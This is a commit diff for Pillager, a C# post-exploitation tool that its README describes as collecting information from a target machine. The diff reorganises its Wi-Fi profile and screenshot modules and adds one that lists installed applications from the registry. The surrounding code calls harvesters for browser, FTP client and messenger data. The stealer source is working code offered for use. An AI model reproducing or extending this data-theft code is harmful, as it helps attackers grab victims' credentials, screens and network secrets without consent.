update
This commit is contained in:
parent
ec6e84d537
commit
136ca40c63
|
@ -78,8 +78,9 @@
|
|||
<Compile Include="Messengers\QQ.cs" />
|
||||
<Compile Include="Messengers\Skype.cs" />
|
||||
<Compile Include="Messengers\Telegram.cs" />
|
||||
<Compile Include="Others\ScreenShot.cs" />
|
||||
<Compile Include="Others\Wifi.cs" />
|
||||
<Compile Include="SystemInfos\InstalledApp.cs" />
|
||||
<Compile Include="SystemInfos\ScreenShot.cs" />
|
||||
<Compile Include="SystemInfos\Wifi.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Helper\SQLiteHandler.cs" />
|
||||
|
|
|
@ -6,8 +6,8 @@ using Pillager.FTPs;
|
|||
using Pillager.Helper;
|
||||
using Pillager.Mails;
|
||||
using Pillager.Messengers;
|
||||
using Pillager.Others;
|
||||
using Pillager.Softwares;
|
||||
using Pillager.SystemInfos;
|
||||
using Pillager.Tools;
|
||||
|
||||
namespace Pillager
|
||||
|
@ -59,10 +59,6 @@ namespace Pillager
|
|||
Chrome.Save(savepath);
|
||||
FireFox.Save(savepath);
|
||||
|
||||
//Others
|
||||
Wifi.Save(savepath);
|
||||
ScreenShot.Save(savepath);
|
||||
|
||||
//FTP
|
||||
WinSCP.Save(savepath);
|
||||
FileZilla.Save(savepath);
|
||||
|
@ -98,6 +94,11 @@ namespace Pillager
|
|||
DingTalk.Save(savepath);
|
||||
Line.Save(savepath);
|
||||
Discord.Save(savepath);
|
||||
|
||||
//SystemInfos
|
||||
Wifi.Save(savepath);
|
||||
ScreenShot.Save(savepath);
|
||||
InstalledApp.Save(savepath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.SystemInfos
|
||||
{
|
||||
internal class InstalledApp
|
||||
{
|
||||
public static string SystemInfoName = "InstalledApp";
|
||||
|
||||
public static string GetInfo()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Uninstall"))
|
||||
foreach (var subkey in key.GetSubKeyNames())
|
||||
{
|
||||
string value = key.OpenSubKey(subkey)?.GetValue("DisplayName", "Error").ToString();
|
||||
if (!string.IsNullOrEmpty(value) && value != "Error" && !value.Contains("Windows"))
|
||||
sb.AppendLine(value);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
return sb.ToString();
|
||||
}
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string savepath = Path.Combine(path, SystemInfoName);
|
||||
string result = GetInfo();
|
||||
if (!string.IsNullOrEmpty(result))
|
||||
{
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, SystemInfoName + ".txt"), result);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -4,17 +4,17 @@ using System.IO;
|
|||
using System.Windows.Forms;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Others
|
||||
namespace Pillager.SystemInfos
|
||||
{
|
||||
internal class ScreenShot
|
||||
{
|
||||
public static string OtherName = "ScreenShot";
|
||||
public static string SystemInfoName = "ScreenShot";
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string savepath = Path.Combine(path, OtherName);
|
||||
string savepath = Path.Combine(path, SystemInfoName);
|
||||
try
|
||||
{
|
||||
Native.SetProcessDPIAware();
|
||||
|
@ -32,7 +32,7 @@ namespace Pillager.Others
|
|||
{
|
||||
graphics.CopyFromScreen(screen.Bounds.Left, screen.Bounds.Top, 0, 0, new Size(bitmap.Width, bitmap.Height), CopyPixelOperation.SourceCopy);
|
||||
}
|
||||
bitmap.Save(Path.Combine(savepath, OtherName + i + ".jpg"), ImageFormat.Jpeg);
|
||||
bitmap.Save(Path.Combine(savepath, SystemInfoName + i + ".jpg"), ImageFormat.Jpeg);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -4,11 +4,11 @@ using System.Text;
|
|||
using System.Xml;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Others
|
||||
namespace Pillager.SystemInfos
|
||||
{
|
||||
internal class Wifi
|
||||
{
|
||||
public static string OtherName = "Wifi";
|
||||
public static string SystemInfoName = "Wifi";
|
||||
private static string GetMessage()
|
||||
{
|
||||
const int dwClientVersion = 2;
|
||||
|
@ -72,12 +72,12 @@ namespace Pillager.Others
|
|||
{
|
||||
try
|
||||
{
|
||||
string savepath = Path.Combine(path, OtherName);
|
||||
string savepath = Path.Combine(path, SystemInfoName);
|
||||
string wifi = GetMessage();
|
||||
if (!string.IsNullOrEmpty(wifi))
|
||||
{
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, OtherName + ".txt"), wifi);
|
||||
File.WriteAllText(Path.Combine(savepath, SystemInfoName + ".txt"), wifi);
|
||||
}
|
||||
}
|
||||
catch { }
|
|
@ -85,6 +85,7 @@ Will add more ......
|
|||
|
||||
* Wifi
|
||||
* ScreenShot
|
||||
* InstalledApp
|
||||
|
||||
## Usage
|
||||
|
||||
|
|
|
@ -83,6 +83,7 @@ Pillager是一个适用于后渗透期间的信息收集工具,可以收集目
|
|||
|
||||
* Wifi
|
||||
* 截屏
|
||||
* 已安装应用
|
||||
|
||||
## 使用方法
|
||||
|
||||
|
|
Loading…
Reference in New Issue